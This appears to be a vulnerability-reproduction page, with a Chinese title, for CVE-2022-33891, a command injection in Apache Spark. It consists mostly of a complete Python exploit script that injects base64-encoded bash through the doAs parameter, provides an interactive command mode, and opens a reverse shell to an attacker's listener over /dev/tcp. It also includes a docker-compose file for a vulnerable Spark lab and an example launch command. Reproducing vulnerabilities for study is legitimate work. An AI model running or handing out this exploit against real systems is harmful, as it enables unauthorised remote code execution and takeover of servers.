CVE-2022-33891 Apache spark shell 命令注入漏洞复现 - ToB企服应用市场:ToB评测及商务社交产业平台

#!/usr/bin/env python3
import requests
import argparse
import base64
import datetime
parser = argparse.ArgumentParser(description='CVE-2022-33891 Python POC Exploit Script')
parser.add_argument('-u', '--url', help='URL to exploit.', required=True)
parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True)
parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.")
parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.')
parser.add_argument('-lp', '--listeningport', help='Your listening host port.')
parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test")
args = parser.parse_args()
full_url = f"{args.url}:{args.port}"
def check_for_vuln(url):
print("[*] Attempting to connect to site...")
r = requests.get(f"{full_url}/?doAs='testing'", allow_redirects=False)
if r.status_code != 403:
print("[-] Does not look like an Apache Spark server.")
quit(1)
elif "org.apache.spark.ui" not in r.content.decode("utf-8"):
print("[-] Does not look like an Apache Spark server.")
quit(1)
else:
print("[*] Performing sleep test of 10 seconds...")
t1 = datetime.datetime.now()
run_cmd("sleep 10")
t2 = datetime.datetime.now()
delta = t2-t1
if delta.seconds < 10:
print("[-] Sleep was less than 10. This target is probably not vulnerable")
else:
print("[+] Sleep was 10 seconds! This target is probably vulnerable!")
exit(0)
def cmd_prompt():
# Provide user with cmd prompt on loop to run commands
cmd = input("> ")
return cmd
def base64_encode(cmd):
message_bytes = cmd.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_cmd = base64_bytes.decode('ascii')
return base64_cmd
def run_cmd(cmd):
try:
# Execute given command from cmd prompt
#print("[*] Command is: " + cmd)
base64_cmd = base64_encode(cmd)
#print("[*] Base64 command is: " + base64_cmd)
exploit = f"/?doAs=`echo {base64_cmd} | base64 -d | bash`"
exploit_req = f"{full_url}{exploit}"
print("[*] Full exploit request is: " + exploit_req)
requests.get(exploit_req, allow_redirects=False)
except Exception as e:
print(str(e))
def revshell(lhost, lport):
print(f"[*] Reverse shell mode.\n[*] Set up your listener by entering the following:\n nc -nvlp {lport}")
input("[!] When your listener is set up, press enter!")
rev_shell_cmd = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1"
run_cmd(rev_shell_cmd)
def main():
if args.check and args.revshell:
print("[!] Please choose either revshell or check!")
exit(1)
elif args.check:
check_for_vuln(full_url)
# Revshell
elif args.revshell:
if not (args.listeninghost and args.listeningport):
print("[x] You need a listeninghost and listening port!")
exit(1)
else:
lhost = args.listeninghost
lport = args.listeningport
revshell(lhost, lport)
else:
# "Interactive" mode
print("[*] "Interactive" mode!\n[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.")
while True:
command_to_run = cmd_prompt()
run_cmd(command_to_run)
if __name__ == "__main__":
main()

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version: '2'
services:
spark:
image: docker.io/bitnami/spark:3.0.0
environment:
- SPARK_MODE=master
- SPARK_RPC_AUTHENTICATION_ENABLED=no
- SPARK_RPC_ENCRYPTION_ENABLED=no
- SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no
- SPARK_SSL_ENABLED=no
ports:
- '8080:8080'

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python 2.py -u http://192.168.0.112 -p 8080 --revshell -lh 192.168.0.121 -lp 4444

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